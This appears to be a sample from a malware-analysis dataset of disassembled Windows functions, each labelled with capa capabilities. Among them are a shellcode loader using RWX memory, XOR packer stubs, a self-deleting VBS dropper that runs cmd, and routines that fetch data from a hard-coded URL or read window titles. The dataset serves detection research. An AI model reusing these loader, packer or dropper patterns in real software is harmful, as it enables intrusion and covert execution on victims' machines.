joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40653c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4353b8]
jne 0x406546
repz ret
jmp fcn.00408485

Function at 0x407cde
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405f73
and dword [ebp - 4], 0
cmp dword [0x43d24c], 0
mov ebx, eax
jne 0x407d8f
push 0x401964
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407e40
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401958
push edi
call esi
test eax, eax
je 0x407e40
push eax
call fcn.00405f01
mov dword [esp], 0x401948
push edi
mov dword [0x43d24c], eax
call esi
push eax
call fcn.00405f01
mov dword [esp], 0x401934
push edi
mov dword [0x43d250], eax
call esi
push eax
call fcn.00405f01
mov dword [esp], 0x401918
push edi
mov dword [0x43d254], eax
call esi
push eax
call fcn.00405f01
pop ecx
mov dword [0x43d25c], eax
test eax, eax
je 0x407d8f
push 0x401900
push edi
call esi
push eax
call fcn.00405f01
pop ecx
mov dword [0x43d258], eax
mov eax, dword [0x43d258]
cmp eax, ebx
je 0x407de7
cmp dword [0x43d25c], ebx
je 0x407de7
push eax
call fcn.00405f7c
push dword [0x43d25c]
mov esi, eax
call fcn.00405f7c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407de7
test edi, edi
je 0x407de7
call esi
test eax, eax
je 0x407dde
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407dde
test byte [ebp - 0xc], 1
jne 0x407de7
or dword [ebp + 0x10], 0x200000
jmp 0x407e20
mov eax, dword [0x43d250]
cmp eax, ebx
je 0x407e20
push eax
call fcn.00405f7c
pop ecx
test eax, eax
je 0x407e20
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407e20
mov eax, dword [0x43d254]
cmp eax, ebx
je 0x407e20
push eax
call fcn.00405f7c
pop ecx
test eax, eax
je 0x407e20
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43d24c]
call fcn.00405f7c
pop ecx
test eax, eax
je 0x407e40
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407e42
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000769b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
in eax, dx
and byte [ebp - 0x7a9], 0
invalid
invalid
pop eax
Function at 0x401120
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1154
call fcn.004381a0
mov eax, dword [0x46abc4]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x100c], str.C:ProgramDataMicrosoftWindowsStart_MenuPrograms
mov eax, dword [ebp - 0x100c]
push eax
push str._s
push 0x1000
lea ecx, [ebp - 0x1008]
push ecx
call fcn.00438152
add esp, 0x10
lea edx, [ebp - 0x1150]
push edx
lea eax, [ebp - 0x1008]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x1154], eax
cmp dword [ebp - 0x1154], 0xffffffff
je 0x4011bb
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
lea edx, [ebp - 0x1150]
push edx
mov eax, dword [ebp - 0x1154]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40118b
mov ecx, dword [ebp - 0x1154]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x4011dd
push 0x401230
push 0x4548c4
push 0x46ecc0
call fcn.00403030
add esp, 8
mov ecx, eax
call fcn.00401ae0
xor al, al
jmp 0x401217
push 0x401230
mov edx, dword [ebp - 4]
push edx
push str.ProgramData_
push 0x46ec30
call fcn.00403030
add esp, 8
mov ecx, eax
call fcn.00401b00
mov ecx, eax
call fcn.00401ae0
cmp dword [ebp - 4], 0xc
jge 0x401215
push 1
call fcn.004380ba
jmp 0x401217
mov al, 1
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00438191
mov esp, ebp
pop ebp
ret
Function at 0x401250
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf3cf0
call fcn.004381a0
mov eax, dword [0x46abc4]
xor eax, ebp
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0xf3cec], eax
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocStringLen
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xf3cf0], 0
push 0
lea edx, [ebp - 0xf3cf0]
push edx
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0xf3ce8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov byte [ebp - 0xd], 0x9c
push 0x9c
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0xf3ce8]
push ecx
call fcn.004010d0
add esp, 0xc
push 0x40
push 0x3000
push 0xf3cc8
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
push 0xf3cc8
lea edx, [ebp - 0xf3ce8]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.00438290
add esp, 0xc
call dword [0x46c1d4]
mov dword [ebp - 0x1c], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 4], eax
push 0
push 0
push 0x64
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
lea eax, [ebp - 0xc]
push eax
call dword [0x46c1d8]
test eax, eax
jne 0x401356
jmp 0x40137a
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
push ecx
call dword [0x46c1d0]
test eax, eax
je 0x40137a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call fcn.004381cb
add esp, 8
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.00438191
mov esp, ebp
pop ebp
ret
Function at 0x401420
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450721
mov eax, dword fs:[0]
push eax
sub esp, 0x184
mov eax, dword [0x46abc4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00401120
movzx eax, al
test eax, eax
jne 0x401461
mov eax, 1
jmp 0x4015f3
push 0x104
lea ecx, [ebp - 0x11c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub eax, 1
mov dword [ebp - 0x148], eax
jmp 0x40149c
mov eax, dword [ebp - 0x148]
sub eax, 1
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
jle 0x4014ca
mov ecx, dword [ebp - 0x148]
movsx edx, byte [ebp + ecx - 0x11c]
cmp edx, 0x5c
jne 0x4014c8
mov eax, dword [ebp - 0x148]
mov byte [ebp + eax - 0x11b], 0
jmp 0x4014ca
jmp 0x40148d
mov byte [ebp - 0x128], 0x61
mov byte [ebp - 0x127], 0x64
mov byte [ebp - 0x126], 0x6d
mov byte [ebp - 0x125], 0x65
mov byte [ebp - 0x124], 0x2e
mov byte [ebp - 0x123], 0x74
mov byte [ebp - 0x122], 0x78
mov byte [ebp - 0x121], 0x74
mov byte [ebp - 0x120], 0
lea ecx, [ebp - 0x128]
push ecx
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x128]
push eax
push 0x454940
lea ecx, [ebp - 0x164]
push ecx
call fcn.00401390
add esp, 4
mov dword [ebp - 0x184], eax
mov edx, dword [ebp - 0x184]
mov dword [ebp - 0x188], edx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x188]
push eax
lea ecx, [ebp - 0x180]
push ecx
call fcn.00403340
add esp, 0xc
mov dword [ebp - 0x18c], eax
mov edx, dword [ebp - 0x18c]
mov dword [ebp - 0x190], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x190]
push eax
lea ecx, [ebp - 0x144]
push ecx
call fcn.00403340
add esp, 0xc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x180]
call fcn.00401aa0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x164]
call fcn.00401aa0
push 0
lea ecx, [ebp - 0x144]
call fcn.00401ac0
push eax
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x11c]
push eax
call fcn.00401250
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call fcn.00401aa0
jmp 0x4015f1
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00438191
mov esp, ebp
pop ebp
ret

Function at 0x40a384
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4527f3
call fcn.00439471
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40a3a9
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40a3ef
lea ecx, [ebp - 0x10]
call fcn.0041ffee
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00409bcb
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004070a2
mov eax, esi
call fcn.00439549
ret 8
Function at 0x40b478
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x40b4c0
call fcn.0041e0ac
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40b4c0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x40b503
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x40b4ec
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40b4ec
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x40b500
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40cbf9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x40cc1d
cmp dword [edi + 0x54], 0
jne 0x40cc1d
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0041e0ac
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040cbba
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4126cb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x412712
call fcn.0041e0ac
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x412712
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x41272e
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00412245
mov esi, eax
test edi, edi
je 0x41272c
test ebx, ebx
je 0x41272c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x41a152
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 4], ecx
call fcn.0041e0ac
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x41a17f
xor eax, eax
jmp 0x41a225
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x41a178
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x41a178
movzx eax, word [esi + 6]
push ebx
push edi
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00406952
pop ecx
mov edi, eax
xor ecx, ecx
xor eax, eax
cmp cx, word [esi + 6]
jae 0x41a1d6
lea ecx, [esi + 8]
movzx edx, word [ecx]
mov dword [edi + eax*4], edx
movzx edx, word [esi + 6]
inc eax
inc ecx
inc ecx
cmp eax, edx
jl 0x41a1c5
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 4]
push eax
push edi
call fcn.00418ea1
push edi
mov ebx, eax
call fcn.0040698c
pop ecx
test ebx, ebx
je 0x41a218
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
push ecx
lea esi, [ecx + 7]
mov ecx, dword [ebp - 4]
push eax
lea edx, [eax + 7]
push esi
push edx
call fcn.00419567
push dword [ebp + 8]
mov ecx, dword [ebp - 4]
call fcn.0041961b
mov ebx, eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, ebx
pop ebx
pop esi
leave
ret 4
Function at 0x43303c
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x452a63
call fcn.00439471
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00407f50
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x43309e
call fcn.0041d986
cmp eax, 1
jne 0x43309e
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00409296
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.004091ef
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004070a2
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004070a2
mov eax, esi
call fcn.00439549
ret 0x10

Function at 0x4330c7
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x452a63
call fcn.00439471
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00407f50
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x433129
call fcn.0041d986
cmp eax, 1
jne 0x433129
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00409296
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.004091ef
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004070a2
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004070a2
mov eax, esi
call fcn.00439549
ret 0x14

Function at 0x438191
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46abc4]
jne 0x43819b
repz ret
jmp fcn.0043f0a9
Function at 0x446142
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0043d23a
and dword [ebp - 4], 0
cmp dword [0x46eba4], 0
mov ebx, eax
jne 0x4461f3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4462a4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x45c128
push edi
call esi
test eax, eax
je 0x4462a4
push eax
call fcn.0043d1c8
mov dword [esp], 0x45c118
push edi
mov dword [0x46eba4], eax
call esi
push eax
call fcn.0043d1c8
mov dword [esp], 0x45c104
push edi
mov dword [0x46eba8], eax
call esi
push eax
call fcn.0043d1c8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x46ebac], eax
call esi
push eax
call fcn.0043d1c8
pop ecx
mov dword [0x46ebb4], eax
test eax, eax
je 0x4461f3
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0043d1c8
pop ecx
mov dword [0x46ebb0], eax
mov eax, dword [0x46ebb0]
cmp eax, ebx
je 0x44624b
cmp dword [0x46ebb4], ebx
je 0x44624b
push eax
call fcn.0043d243
push dword [0x46ebb4]
mov esi, eax
call fcn.0043d243
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x44624b
test edi, edi
je 0x44624b
call esi
test eax, eax
je 0x446242
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x446242
test byte [ebp - 0xc], 1
jne 0x44624b
or dword [ebp + 0x10], 0x200000
jmp 0x446284
mov eax, dword [0x46eba8]
cmp eax, ebx
je 0x446284
push eax
call fcn.0043d243
pop ecx
test eax, eax
je 0x446284
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x446284
mov eax, dword [0x46ebac]
cmp eax, ebx
je 0x446284
push eax
call fcn.0043d243
pop ecx
test eax, eax
je 0x446284
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46eba4]
call fcn.0043d243
pop ecx
test eax, eax
je 0x4462a4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4462a6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x7c9b34d6
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x3b401b20
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x6c172242
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x412f51f7
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x40d7ff
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00412850
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.ahpgfde
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.004136f8
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d85f
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041b978
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041bc5e
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea eax, [ebp - 0x78]
push eax
push 0x466608
push 0x466f88
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.00401f86
push 0x467130
push 0x467134
lea ecx, [ebp - 0xc0]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040325d
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0xa8]
call fcn.00401f09
lea ecx, [ebp - 0xc0]
call fcn.00401f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00409052
push edi
lea ecx, [ebp - 0x60]
call fcn.00401f04
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c3f1
pop ecx
pop ecx
test al, al
je 0x40d9ca
push edi
mov eax, 0x466468
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401f04
push eax
push 0x466108
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d9ca
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401f09
lea ecx, [ebp - 0x60]
call fcn.00401f09
lea ecx, [ebp - 0x78]
call fcn.00401f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41b380
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.004020df
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.0043bd51
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push closesocket
push esi
push esi
mov ebp, eax
push str.xlectdpwnrucbquvnnet_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x41b40c
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.004020b7
push eax
mov ecx, ebx
call fcn.00403376
lea ecx, [esp + 0x18]
call fcn.00401fd8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x41b415
test ecx, ecx
jne 0x41b3c5
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.0043bd4c
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x41b9f6
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x41ba8d
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x41ba8d
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x41ba84
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.0043bd51
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x41ba84
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00436e90
push esi
push edi
push dword [ebx]
call fcn.00436e90
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ba96
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.00436e90
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0040417e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret